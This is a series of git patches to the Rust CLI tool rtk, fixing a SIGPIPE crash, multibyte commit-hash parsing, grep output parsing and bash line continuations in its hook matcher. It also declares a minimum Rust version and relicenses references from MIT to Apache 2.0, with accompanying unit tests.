From 49a094ac9ba7615a14f2ee0b8fad10932ffe76f7 Mon Sep 17 00:00:00 2001 From: Ashwin Gopalsamy <47941624+ashwingopalsamy@users.noreply.github.com> Date: Mon, 6 Apr 2026 09:57:01 +0530 Subject: [PATCH 01/52] fix: reset SIGPIPE to default handler to avoid panic --- src/main.rs | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/src/main.rs b/src/main.rs index 11332034a0..9f526264b5 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1247,6 +1247,15 @@ fn validate_pnpm_filters(filters: &[String], command: &PnpmCommands) -> Option code, Err(e) => { From 03cc790a6a67a033185d45ad85df6641c5b50bee Mon Sep 17 00:00:00 2001 From: Ashwin Gopalsamy <47941624+ashwingopalsamy@users.noreply.github.com> Date: Mon, 6 Apr 2026 10:14:01 +0530 Subject: [PATCH 02/52] test: add ignored test for broken-pipe crash --- src/main.rs | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/src/main.rs b/src/main.rs index 9f526264b5..f9be6380c9 100644 --- a/src/main.rs +++ b/src/main.rs @@ -2736,4 +2736,38 @@ mod tests { _ => panic!("Expected Pnpm Build command"), } } + + #[test] + #[ignore] // Integration test: requires `cargo build` first + fn test_broken_pipe_does_not_crash() { + let bin_path = std::path::PathBuf::from(env!("CARGO_MANIFEST_DIR")) + .join("target") + .join("debug") + .join("rtk"); + assert!( + bin_path.exists(), + "Debug binary not found at {:?} - run `cargo build` first", + bin_path + ); + + let mut child = std::process::Command::new(&bin_path) + .args(["git", "log", "--online", "-50"]) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::piped()) + .spawn() + .expect("Failed to spawn rtk"); + + // Read one byte then drop stdout to close the pipe. + let mut stdout = child.stdout.take().unwrap(); + let mut buf = [0u8; 1]; + let _ = std::io::Read::read(&mut stdout, &mut buf); + + let status = child.wait().expect("Failed to wait for rtk"); + let code = status.code().unwrap_or(-1); + + assert_ne!( + code, 134, + "rtk crashed with SIGABRT (exit 134) on broken pipe - SIGPIPE handler missing" + ); + } } From ccf3a020ea6641482b31a0a841806ca156fe6a50 Mon Sep 17 00:00:00 2001 From: Ashwin Gopalsamy <47941624+ashwingopalsamy@users.noreply.github.com> Date: Mon, 13 Apr 2026 09:37:07 +0530 Subject: [PATCH 03/52] fix: address PR review comments --- src/main.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/main.rs b/src/main.rs index f9be6380c9..00557d4ced 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1251,7 +1251,7 @@ fn main() { // e.g `rtk git log | head` exits silently instead of panicking. // Rust ignores SIGPIPE by default and with panic="abort" in the // release profile that becomes SIGABRT + coredump. - // #[cfg(unix)] + #[cfg(unix)] unsafe { libc::signal(libc::SIGPIPE, libc::SIG_DFL); } @@ -2751,7 +2751,7 @@ mod tests { ); let mut child = std::process::Command::new(&bin_path) - .args(["git", "log", "--online", "-50"]) + .args(["git", "log", "--oneline", "-50"]) .stdout(std::process::Stdio::piped()) .stderr(std::process::Stdio::piped()) .spawn() From c5ec92fac8d358e100b12ed2f1e9277bc924bbdd Mon Sep 17 00:00:00 2001 From: "shalk(xiao kun)" Date: Mon, 13 Apr 2026 17:09:42 +0800 Subject: [PATCH 04/52] fix(git): fix panic on multibyte chars in commit output MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit git commit on an initial commit under a Chinese locale outputs: [master（根提交） fb597ec] Initial commit The old code found the first space and sliced line[1..hash_start], yielding "master（根提交）" (21 bytes). hash.len() >= 7 was true, so it tried &hash[..7] — but byte 7 falls inside the 3-byte '（' character, causing a panic. Two bugs were present: 1. Logic: the code grabbed the token *before* the first space (branch name), not the commit hash. The hash is always the last whitespace-separated token inside the [...] brackets. 2. Safety: raw byte slicing on a potentially non-ASCII string. Fix: find ']', extract the bracket content, split_whitespace() and take next_back() to get the hash. Use chars().take(7) for the short-hash slice so it is always char-boundary-safe. --- src/cmds/git/git.rs | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index 2921da430e..153603778a 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -961,11 +961,16 @@ fn run_commit(args: &[String], verbose: u8, global_args: &[String]) -> Result= 7 { - format!("ok {}", &hash[..7.min(hash.len())]) + // Git hashes are ASCII; chars().take(7) is safe regardless + let short_hash: String = hash.chars().take(7).collect(); + format!("ok {}", short_hash) } else { "ok".to_string() } From ab4fa7b5395f0d376ae0e52ba5352d091d040276 Mon Sep 17 00:00:00 2001 From: "shalk(xiao kun)" Date: Mon, 13 Apr 2026 19:49:29 +0800 Subject: [PATCH 05/52] test(git): add regression tests for commit output parsing with multibyte branch names MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Extracts parse_commit_output into a testable helper function and adds 7 comprehensive unit tests covering: - Normal branch names - Root-commit annotations - Multibyte branch names (Chinese, Thai) — regression test for the panic fix - Edge cases (no bracket, short hash, empty input) Tests verify the fix handles UTF-8 safely by anchoring on ']' and using char-safe slicing. Co-Authored-By: Claude Haiku 4.5 --- src/cmds/git/git.rs | 78 +++++++++++++++++++++++++++++++++++++-------- 1 file changed, 65 insertions(+), 13 deletions(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index 153603778a..b2dfa96329 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -941,6 +941,24 @@ fn build_commit_command(args: &[String], global_args: &[String]) -> Command { cmd } +/// Parse the first line of `git commit` success output and return a compact token. +/// Handles: `[main abc1234def] message`, `[main (root-commit) abc1234def] msg`, +/// localized variants, and multibyte branch names. +fn parse_commit_output(line: &str) -> String { + if let Some(bracket_end) = line.find(']') { + let bracket_content = &line[1..bracket_end]; + let hash = bracket_content.split_whitespace().next_back().unwrap_or(""); + if !hash.is_empty() && hash.len() >= 7 { + let short_hash: String = hash.chars().take(7).collect(); + format!("ok {}", short_hash) + } else { + "ok".to_string() + } + } else { + "ok".to_string() + } +} + fn run_commit(args: &[String], verbose: u8, global_args: &[String]) -> Result { let timer = tracking::TimedExecution::start(); @@ -964,19 +982,7 @@ fn run_commit(args: &[String], verbose: u8, global_args: &[String]) -> Result= 7 { - // Git hashes are ASCII; chars().take(7) is safe regardless - let short_hash: String = hash.chars().take(7).collect(); - format!("ok {}", short_hash) - } else { - "ok".to_string() - } - } else { - "ok".to_string() - } + parse_commit_output(line) } else { "ok".to_string() }; @@ -2278,6 +2284,52 @@ no changes added to commit (use "git add" and/or "git commit -a") assert!(result.contains("* main")); } + // --- commit output parsing --- + + #[test] + fn test_parse_commit_output_normal() { + let line = "[main abc1234def] add feature"; + assert_eq!(parse_commit_output(line), "ok abc1234"); + } + + #[test] + fn test_parse_commit_output_root_commit() { + let line = "[main (root-commit) abc1234def] initial commit"; + assert_eq!(parse_commit_output(line), "ok abc1234"); + } + + /// Regression test: multibyte branch name must not panic (was byte-slicing before fix) + #[test] + fn test_parse_commit_output_multibyte_branch() { + let line = "[分支名 abc1234def] 提交消息"; + assert_eq!(parse_commit_output(line), "ok abc1234"); + } + + /// Regression test: Thai branch name (3 bytes per char) + #[test] + fn test_parse_commit_output_thai_branch() { + let line = "[สาขา abc1234def] commit message"; + assert_eq!(parse_commit_output(line), "ok abc1234"); + } + + #[test] + fn test_parse_commit_output_no_bracket() { + let line = "some other output"; + assert_eq!(parse_commit_output(line), "ok"); + } + + #[test] + fn test_parse_commit_output_short_hash() { + // Hash shorter than 7 chars — treat as "ok" (no hash shown) + let line = "[main abc12] message"; + assert_eq!(parse_commit_output(line), "ok"); + } + + #[test] + fn test_parse_commit_output_empty() { + assert_eq!(parse_commit_output(""), "ok"); + } + /// Regression test: --oneline and other user format flags must preserve all commits. /// Before fix, filter_log_output split on ---END--- which doesn't exist when /// the user specifies their own format, resulting in only 2 commits surviving. From 6f4519a183ca43c3f08c855c57b1392f729a67ad Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=9D=8E=E5=86=A0=E8=BE=B0?= Date: Thu, 21 May 2026 08:25:59 +0800 Subject: [PATCH 06/52] chore(cargo): declare MSRV via rust-version = "1.91" MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit rtk uses `str::floor_char_boundary()` (src/cmds/system/pipe_cmd.rs:140) which was stabilized in Rust 1.91.0. Without `rust-version` in Cargo.toml, packagers on older toolchains hit a confusing `use of unstable library feature` error from rustc. With this declaration, cargo gives the expected friendly diagnostic up-front: error: rustc 1.88.0 is not supported by the following packages: rtk@0.34.3 requires rustc 1.91 Verified locally by switching toolchains: - cargo +1.88 check → fails with the new clear MSRV error (intended) - cargo +1.93 fmt/clippy/test → 1909 passed, zero warnings Fixes #1402 --- Cargo.toml | 1 + 1 file changed, 1 insertion(+) diff --git a/Cargo.toml b/Cargo.toml index 726a01709c..f06266e631 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -2,6 +2,7 @@ name = "rtk" version = "0.34.3" edition = "2021" +rust-version = "1.91" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" license = "MIT" From be226d4f1dcdcc0df29ad6f9968be5ab37ed5c19 Mon Sep 17 00:00:00 2001 From: F0rty-Tw0 Date: Sat, 23 May 2026 22:30:31 +0200 Subject: [PATCH 07/52] fix(grep): parse single-file output containing colons Single-file `rtk grep` returned synthetic `[file] N` buckets when a matching line contained `:`. ripgrep emits `:` for single-file searches; the parser used `splitn(3, ':')` length to disambiguate, which fails when content has `:` (e.g. `Foo::bar(...)`). Force `--with-filename` on rg (`-H` on the grep fallback) so output is always `file:line:content`, and replace the inline parser with a regex-based `parse_match_line` that also handles paths with embedded `:` (Windows drive letters). Fixes the parser/rendering portion of #1436. The BRE-translation portion is addressed in a follow-up PR. Signed-off-by: Artiom Tofan --- src/cmds/system/grep_cmd.rs | 110 +++++++++++++++++++++++++++++++----- 1 file changed, 97 insertions(+), 13 deletions(-) diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index 6a33cf3a44..806c782b46 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -33,7 +33,19 @@ pub fn run( // Without this, rg returns 0 matches for files in .gitignore, causing // false negatives that make AI agents draw wrong conclusions. // Using --no-ignore-vcs (not --no-ignore) so .ignore/.rgignore are still respected. - rg_cmd.args(["-n", "--no-heading", "--no-ignore-vcs", &rg_pattern, path]); + // + // --with-filename: force rg to always include the filename, even for + // single-file invocations. Without it, rg emits `:` for a + // single file, and the parser cannot tell `:` from + // `::` when content itself contains ':' (issue #1436). + rg_cmd.args([ + "-n", + "--no-heading", + "--with-filename", + "--no-ignore-vcs", + &rg_pattern, + path, + ]); if let Some(ft) = file_type { rg_cmd.arg("--type").arg(ft); @@ -50,8 +62,9 @@ pub fn run( let result = exec_capture(&mut rg_cmd) .or_else(|_| { let mut grep_cmd = resolved_command("grep"); - //When we fall back to grep,include all args, not just -rn. - grep_cmd.args(["-rn", pattern, path]).args(extra_args); + // -H: always emit the filename so the parser sees a uniform + // file:line:content shape (parity with rg's --with-filename). + grep_cmd.args(["-rnH", pattern, path]).args(extra_args); exec_capture(&mut grep_cmd) }) .context("grep/rg failed")?; @@ -108,18 +121,9 @@ pub fn run( let mut by_file: HashMap> = HashMap::new(); for line in result.stdout.lines() { - let parts: Vec<&str> = line.splitn(3, ':').collect(); - - let (file, line_num, content) = if parts.len() == 3 { - let ln = parts[1].parse().unwrap_or(0); - (parts[0].to_string(), ln, parts[2]) - } else if parts.len() == 2 { - let ln = parts[0].parse().unwrap_or(0); - (path.to_string(), ln, parts[1]) - } else { + let Some((file, line_num, content)) = parse_match_line(line) else { continue; }; - let cleaned = clean_line(content, max_line_len, context_re.as_ref(), pattern); by_file.entry(file).or_default().push((line_num, cleaned)); } @@ -166,6 +170,29 @@ pub fn run( Ok(exit_code) } +/// Parses a single rg/grep match line of the form `file:line_number:content`. +/// +/// Always returns three colon-separated fields when the underlying command was +/// invoked with `--with-filename` (rg) or `-H` (grep). Uses a greedy regex on +/// the path so: +/// - content with `::` (e.g. `ClassRegistry::init(...)`) does not split into +/// a phantom file bucket (issue #1436); +/// - paths with embedded `:` (Windows drive letters like `C:\foo\file.php`) +/// parse correctly — the LAST `:digits:` before content is the boundary. +/// +/// Returns `None` for lines that do not match the expected shape (e.g. rg +/// `-A`/`-B` context lines that use `-` as separator). +fn parse_match_line(line: &str) -> Option<(String, usize, &str)> { + lazy_static::lazy_static! { + static ref MATCH_LINE_RE: Regex = Regex::new(r"^(.+):(\d+):(.*)$").unwrap(); + } + let caps = MATCH_LINE_RE.captures(line)?; + let file = caps.get(1)?.as_str().to_string(); + let line_num: usize = caps.get(2)?.as_str().parse().ok()?; + let content_start = caps.get(3)?.start(); + Some((file, line_num, &line[content_start..])) +} + fn has_format_flag(extra_args: &[String]) -> bool { extra_args.iter().any(|arg| { matches!( @@ -391,6 +418,63 @@ mod tests { // If rg is not installed, skip gracefully (test still passes) } + // --- issue #1436: parse_match_line robustness --- + + #[test] + fn test_parse_match_line_simple() { + let line = "file.php:10:use Foo\\Bar;"; + let (file, line_num, content) = parse_match_line(line).unwrap(); + assert_eq!(file, "file.php"); + assert_eq!(line_num, 10); + assert_eq!(content, "use Foo\\Bar;"); + } + + // Issue #1436 reproducer: content with `::` must not split into a phantom + // file bucket. Before the fix, rg's single-file output `81: $this->... + // ClassRegistry::init('...')` was parsed into 3 colon-fields, producing + // file="81", line=0, content=":init('...')". + #[test] + fn test_parse_match_line_content_with_double_colon() { + let line = "externalImportShell.class.php:81: $this->queueProcessModel = ClassRegistry::init('Collections.QueueProcess');"; + let (file, line_num, content) = parse_match_line(line).unwrap(); + assert_eq!(file, "externalImportShell.class.php"); + assert_eq!(line_num, 81); + assert_eq!( + content, + " $this->queueProcessModel = ClassRegistry::init('Collections.QueueProcess');" + ); + } + + // Windows abs-path safety: drive letter + backslashes must not break the + // parser. Greedy regex on path picks the LAST `:digits:` boundary. + #[test] + fn test_parse_match_line_windows_path() { + let line = r"C:\src\file.rs:42:fn main() {}"; + let (file, line_num, content) = parse_match_line(line).unwrap(); + assert_eq!(file, r"C:\src\file.rs"); + assert_eq!(line_num, 42); + assert_eq!(content, "fn main() {}"); + } + + #[test] + fn test_parse_match_line_malformed_returns_none() { + // Single token, no colons (e.g. an rg context line written with `-`) + assert!(parse_match_line("not a match line").is_none()); + // Missing line number + assert!(parse_match_line("file.rs:fn foo()").is_none()); + // Empty + assert!(parse_match_line("").is_none()); + } + + #[test] + fn test_parse_match_line_empty_content() { + let line = "file.rs:7:"; + let (file, line_num, content) = parse_match_line(line).unwrap(); + assert_eq!(file, "file.rs"); + assert_eq!(line_num, 7); + assert_eq!(content, ""); + } + #[test] fn test_rg_no_ignore_vcs_flag_accepted() { // Verify rg accepts --no-ignore-vcs (used to match grep -r behavior for .gitignore) From 0e3a6f48305c1302443cbe5206e5b5f7cffb671a Mon Sep 17 00:00:00 2001 From: F0rty-Tw0 Date: Sat, 23 May 2026 22:57:35 +0200 Subject: [PATCH 08/52] fix(grep): NUL-separate file from line:content per review - rg: switch to `-nH --null` for robust file/content separation - grep fallback: switch to `-rnHZ` to match rg's --null contract - Parser regex: `^([^\x00]+)\x00(\d+):(.*)$` so filenames or content containing `:digits:` (e.g. `badly_named:52:file.txt`, `debug: counter is :42: now`) can no longer fool the parser - Use `Captures::extract` for cleaner destructuring Adds tests for the badly-named-filename and digit-colons-in-content cases; updates existing tests to use NUL-separated fixtures. Addresses review on #1554. Signed-off-by: Artiom Tofan --- src/cmds/system/grep_cmd.rs | 92 +++++++++++++++++++++++-------------- 1 file changed, 58 insertions(+), 34 deletions(-) diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index 806c782b46..dbd61364a4 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -34,14 +34,14 @@ pub fn run( // false negatives that make AI agents draw wrong conclusions. // Using --no-ignore-vcs (not --no-ignore) so .ignore/.rgignore are still respected. // - // --with-filename: force rg to always include the filename, even for - // single-file invocations. Without it, rg emits `:` for a - // single file, and the parser cannot tell `:` from - // `::` when content itself contains ':' (issue #1436). + // -H: force rg to always include the filename, even for single-file searches. + // --null: separate file from line:content with a NUL byte so the parser is + // unambiguous even when the filename or content contains `:digits:` + // patterns (issue #1436). rg_cmd.args([ - "-n", + "-nH", "--no-heading", - "--with-filename", + "--null", "--no-ignore-vcs", &rg_pattern, path, @@ -62,9 +62,10 @@ pub fn run( let result = exec_capture(&mut rg_cmd) .or_else(|_| { let mut grep_cmd = resolved_command("grep"); - // -H: always emit the filename so the parser sees a uniform - // file:line:content shape (parity with rg's --with-filename). - grep_cmd.args(["-rnH", pattern, path]).args(extra_args); + // -H: always emit the filename; -Z: NUL-separate filename from + // line:content so the parser can disambiguate even for filenames + // or content containing `:digits:` (parity with rg's --null). + grep_cmd.args(["-rnHZ", pattern, path]).args(extra_args); exec_capture(&mut grep_cmd) }) .context("grep/rg failed")?; @@ -170,27 +171,26 @@ pub fn run( Ok(exit_code) } -/// Parses a single rg/grep match line of the form `file:line_number:content`. +/// Parses a single rg/grep match line of the form `file\0line_number:content`. /// -/// Always returns three colon-separated fields when the underlying command was -/// invoked with `--with-filename` (rg) or `-H` (grep). Uses a greedy regex on -/// the path so: -/// - content with `::` (e.g. `ClassRegistry::init(...)`) does not split into -/// a phantom file bucket (issue #1436); -/// - paths with embedded `:` (Windows drive letters like `C:\foo\file.php`) -/// parse correctly — the LAST `:digits:` before content is the boundary. +/// Requires the underlying command to be invoked with `--null` (rg) or `-Z` +/// (grep) so the filename is NUL-separated from `line:content`. NUL cannot +/// appear in file paths, so the parser is unambiguous regardless of: +/// - content with `:` or `::` (e.g. `ClassRegistry::init(...)`, issue #1436); +/// - paths with embedded `:` (Windows drive letters, weird filenames like +/// `badly_named:52:file.txt`). /// /// Returns `None` for lines that do not match the expected shape (e.g. rg /// `-A`/`-B` context lines that use `-` as separator). fn parse_match_line(line: &str) -> Option<(String, usize, &str)> { lazy_static::lazy_static! { - static ref MATCH_LINE_RE: Regex = Regex::new(r"^(.+):(\d+):(.*)$").unwrap(); + static ref MATCH_LINE_RE: Regex = Regex::new(r"^([^\x00]+)\x00(\d+):(.*)$").unwrap(); } - let caps = MATCH_LINE_RE.captures(line)?; - let file = caps.get(1)?.as_str().to_string(); - let line_num: usize = caps.get(2)?.as_str().parse().ok()?; - let content_start = caps.get(3)?.start(); - Some((file, line_num, &line[content_start..])) + MATCH_LINE_RE.captures(line).and_then(|caps| { + let (_, [file, line_num, content]) = caps.extract(); + let line_num: usize = line_num.parse().ok()?; + Some((file.to_string(), line_num, content)) + }) } fn has_format_flag(extra_args: &[String]) -> bool { @@ -419,10 +419,11 @@ mod tests { } // --- issue #1436: parse_match_line robustness --- + // Input shape is `file\0line:content` (rg --null / grep -Z). #[test] fn test_parse_match_line_simple() { - let line = "file.php:10:use Foo\\Bar;"; + let line = "file.php\x0010:use Foo\\Bar;"; let (file, line_num, content) = parse_match_line(line).unwrap(); assert_eq!(file, "file.php"); assert_eq!(line_num, 10); @@ -430,12 +431,11 @@ mod tests { } // Issue #1436 reproducer: content with `::` must not split into a phantom - // file bucket. Before the fix, rg's single-file output `81: $this->... - // ClassRegistry::init('...')` was parsed into 3 colon-fields, producing - // file="81", line=0, content=":init('...')". + // file bucket. With NUL separation between file and line:content, content + // colons are irrelevant to the parser. #[test] fn test_parse_match_line_content_with_double_colon() { - let line = "externalImportShell.class.php:81: $this->queueProcessModel = ClassRegistry::init('Collections.QueueProcess');"; + let line = "externalImportShell.class.php\x0081: $this->queueProcessModel = ClassRegistry::init('Collections.QueueProcess');"; let (file, line_num, content) = parse_match_line(line).unwrap(); assert_eq!(file, "externalImportShell.class.php"); assert_eq!(line_num, 81); @@ -446,29 +446,53 @@ mod tests { } // Windows abs-path safety: drive letter + backslashes must not break the - // parser. Greedy regex on path picks the LAST `:digits:` boundary. + // parser. The NUL separator makes the file portion unambiguous. #[test] fn test_parse_match_line_windows_path() { - let line = r"C:\src\file.rs:42:fn main() {}"; + let line = "C:\\src\\file.rs\x0042:fn main() {}"; let (file, line_num, content) = parse_match_line(line).unwrap(); assert_eq!(file, r"C:\src\file.rs"); assert_eq!(line_num, 42); assert_eq!(content, "fn main() {}"); } + // Filenames containing `:digits:` (which would fool a greedy `:` parser) + // must still parse correctly under NUL separation. + #[test] + fn test_parse_match_line_filename_with_colons() { + let line = "badly_named:52:file.txt\x001:xxx"; + let (file, line_num, content) = parse_match_line(line).unwrap(); + assert_eq!(file, "badly_named:52:file.txt"); + assert_eq!(line_num, 1); + assert_eq!(content, "xxx"); + } + + // Content that itself contains `:digits:` (e.g. log lines, port numbers, + // line-number-like substrings) must not confuse the parser. + #[test] + fn test_parse_match_line_content_with_digit_colons() { + let line = "log.txt\x007:debug: counter is :42: now"; + let (file, line_num, content) = parse_match_line(line).unwrap(); + assert_eq!(file, "log.txt"); + assert_eq!(line_num, 7); + assert_eq!(content, "debug: counter is :42: now"); + } + #[test] fn test_parse_match_line_malformed_returns_none() { - // Single token, no colons (e.g. an rg context line written with `-`) + // No NUL separator (e.g. rg/grep invoked without --null/-Z, or a + // context line written with `-`). + assert!(parse_match_line("file.rs:1:content").is_none()); assert!(parse_match_line("not a match line").is_none()); - // Missing line number - assert!(parse_match_line("file.rs:fn foo()").is_none()); + // Missing line number after NUL + assert!(parse_match_line("file.rs\x00fn foo()").is_none()); // Empty assert!(parse_match_line("").is_none()); } #[test] fn test_parse_match_line_empty_content() { - let line = "file.rs:7:"; + let line = "file.rs\x007:"; let (file, line_num, content) = parse_match_line(line).unwrap(); assert_eq!(file, "file.rs"); assert_eq!(line_num, 7); From 2543be59126f5b6825b48570a5b5fb99d0112dab Mon Sep 17 00:00:00 2001 From: SAY-5 Date: Tue, 28 Apr 2026 03:29:11 -0700 Subject: [PATCH 09/52] fix(hook): collapse bash line continuations before matching (#1564) Closes #1564. `rtk hook check` rejected commands that began with a bash line continuation (`\`) because the matcher saw the literal `\` as the first token and bailed out: $ rtk hook check $'\\\ngit diff HEAD~1' No rewrite for: \\ngit diff HEAD~1 Bash collapses `\` (and `\`) plus surrounding horizontal whitespace to a single space before dispatching the command, so the matcher should do the same. Internal continuations (e.g. `git diff \HEAD~1`) are equally common when Claude Code formats long invocations. Add a small `collapse_line_continuations` helper that runs a single regex over the input before `cmd.trim()`. The regex eats the trailing whitespace on the previous line and the leading indentation on the next line so the no-double-space invariant holds. The fast path returns `Cow::Borrowed` when no continuation is present, so commands without `\` allocate nothing. Six regression tests pin: leading \\, leading \\, internal \\ between subcommand and args, \\ followed by indentation, the no-op fast path, and the helper-level Cow::Borrowed contract. --- src/discover/registry.rs | 95 +++++++++++++++++++++++++++++++++++++++- 1 file changed, 93 insertions(+), 2 deletions(-) diff --git a/src/discover/registry.rs b/src/discover/registry.rs index bb7b11f2a4..ecccc1d6f2 100644 --- a/src/discover/registry.rs +++ b/src/discover/registry.rs @@ -440,6 +440,27 @@ fn strip_trailing_redirects(cmd: &str) -> (&str, &str) { (cmd_part, redir_part) } +lazy_static! { + /// Matches a bash line-continuation: a backslash immediately + /// followed by `\n` or `\r\n`, *plus* any horizontal whitespace on + /// the line before AND after the break. This is what bash already + /// collapses to a single space before executing the command — rtk's + /// hook matcher needs to do the same so commands authored across + /// multiple lines still hit the rewrite rules. Consuming the + /// trailing whitespace prevents double spaces in cases like + /// `git diff \HEAD~1`. + static ref LINE_CONTINUATION_RE: Regex = + Regex::new(r"[ \t]*\\(?:\r\n|\n)[ \t]*").unwrap(); +} + +/// Replace every bash line continuation with a single space, mirroring +/// what bash does before dispatching the command. Returns a borrowed +/// `&str` when the input contains no continuations, so the common +/// fast path allocates nothing. +fn collapse_line_continuations(s: &str) -> std::borrow::Cow<'_, str> { + LINE_CONTINUATION_RE.replace_all(s, " ") +} + /// Returns `None` if the command is unsupported or ignored (hook should pass through). /// /// Handles compound commands (`&&`, `||`, `;`) by rewriting each segment independently. @@ -449,7 +470,7 @@ fn strip_trailing_redirects(cmd: &str) -> (&str, &str) { /// (`[hooks].transparent_prefixes` in `config.toml`) before routing. /// /// A transparent prefix is a wrapper command that doesn't change *what* is -/// being run, only *how* it's run — e.g. `docker exec mycontainer`, +/// being run, only *how* it's run --- e.g. `docker exec mycontainer`, /// `direnv exec .`, `poetry run`, or `bundle exec`. Stripping it lets the inner /// command match a filter; the prefix is then re-prepended to the rewrite. The /// built-in [`SHELL_PREFIX_BUILTINS`] (`noglob`, `command`, `builtin`, `exec`, @@ -464,7 +485,13 @@ pub fn rewrite_command( excluded: &[String], transparent_prefixes: &[String], ) -> Option { - let trimmed = cmd.trim(); + // Bash line continuations (`\`, `\`) and the leading + // whitespace that follows are syntactically equivalent to a single + // space, but `cmd.trim()` does not unwrap them --- so a leading + // backslash-newline used to defeat the whole matcher. Normalize + // first, then trim. See issue #1564. + let normalized = collapse_line_continuations(cmd); + let trimmed = normalized.trim(); if trimmed.is_empty() { return None; } @@ -3884,4 +3911,68 @@ mod tests { Some("rtk git log | head | tail && rtk git status".into()) ); } + + // --- line-continuation handling (issue #1564) ------------------- + + #[test] + fn test_rewrite_leading_backslash_newline() { + // The exact reproduction from #1564: a leading `\` made + // the matcher see `\` as the command and bail out. + assert_eq!( + rewrite_command("\\\ngit diff HEAD~1", &[]), + Some("rtk git diff HEAD~1".into()) + ); + } + + #[test] + fn test_rewrite_leading_backslash_crlf() { + // CRLF line ending — same shape, Windows shells / Git Bash. + assert_eq!( + rewrite_command("\\\r\ngit diff HEAD~1", &[]), + Some("rtk git diff HEAD~1".into()) + ); + } + + #[test] + fn test_rewrite_internal_backslash_newline() { + // Embedded line continuation between subcommand and args: + // `git diff \HEAD~1` is exactly equivalent to + // `git diff HEAD~1` per bash semantics. + assert_eq!( + rewrite_command("git diff \\\nHEAD~1", &[]), + Some("rtk git diff HEAD~1".into()) + ); + } + + #[test] + fn test_rewrite_backslash_newline_with_indent() { + // Continuation followed by indentation — also collapsed. + assert_eq!( + rewrite_command("git \\\n diff HEAD~1", &[]), + Some("rtk git diff HEAD~1".into()) + ); + } + + #[test] + fn test_rewrite_no_line_continuation_unchanged() { + // Sanity check: a command without any `\` should match + // unchanged. This pins that the normalization step does not + // regress the no-op fast path. + assert_eq!( + rewrite_command("git diff HEAD~1", &[]), + Some("rtk git diff HEAD~1".into()) + ); + } + + #[test] + fn test_collapse_line_continuations_no_op() { + // Helper-level: no continuations → returns Borrowed (no + // allocation). We can only spot-check the equality here, but + // the `Cow::Borrowed` variant is implied by `replace_all` + // when no replacement occurs. + assert_eq!( + collapse_line_continuations("git diff HEAD~1"), + std::borrow::Cow::::Borrowed("git diff HEAD~1"), + ); + } } From 1875945bf32b3cc8f7f4c8da81427e17ded74c7f Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Mon, 25 May 2026 09:42:06 +0200 Subject: [PATCH 10/52] fix(pkg): rtk is Apache 2.0 and no MIT --- Cargo.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Cargo.toml b/Cargo.toml index 8fc8a93054..0b5b820140 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -4,7 +4,7 @@ version = "0.40.0" edition = "2021" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" -license = "MIT" +license = "Apache 2.0" homepage = "https://www.rtk-ai.app" repository = "https://github.com/rtk-ai/rtk" readme = "README.md" From 9bbc7bb79e702ada58f5cfe2499d441715aa6bbd Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Mon, 25 May 2026 12:13:43 +0200 Subject: [PATCH 11/52] fix(docs): replace remaining MIT license references with Apache 2.0 --- Formula/rtk.rb | 2 +- README_es.md | 4 ++-- README_fr.md | 4 ++-- README_ja.md | 4 ++-- README_ko.md | 4 ++-- README_zh.md | 4 ++-- openclaw/README.md | 2 +- openclaw/openclaw.plugin.json | 2 +- openclaw/package.json | 2 +- 9 files changed, 14 insertions(+), 14 deletions(-) diff --git a/Formula/rtk.rb b/Formula/rtk.rb index 25a8b2e8a2..34c27f9fb1 100644 --- a/Formula/rtk.rb +++ b/Formula/rtk.rb @@ -7,7 +7,7 @@ class Rtk < Formula desc "High-performance CLI proxy to minimize LLM token consumption" homepage "https://www.rtk-ai.app" version "0.1.0" - license "MIT" + license "Apache-2.0" on_macos do on_intel do diff --git a/README_es.md b/README_es.md index 751bd1ba84..10a6a53a5b 100644 --- a/README_es.md +++ b/README_es.md @@ -9,7 +9,7 @@

CI Release - License: MIT + License: Apache 2.0 Discord Homebrew

@@ -158,7 +158,7 @@ Unete a la comunidad en [Discord](https://discord.gg/RySmvNF5kF). ## Licencia -Licencia MIT - ver [LICENSE](LICENSE) para detalles. +Licencia Apache 2.0 - ver [LICENSE](LICENSE) para detalles. ## Descargo de responsabilidad diff --git a/README_fr.md b/README_fr.md index d305feaafd..2de284100f 100644 --- a/README_fr.md +++ b/README_fr.md @@ -9,7 +9,7 @@

CI Release - License: MIT + License: Apache 2.0 Discord Homebrew

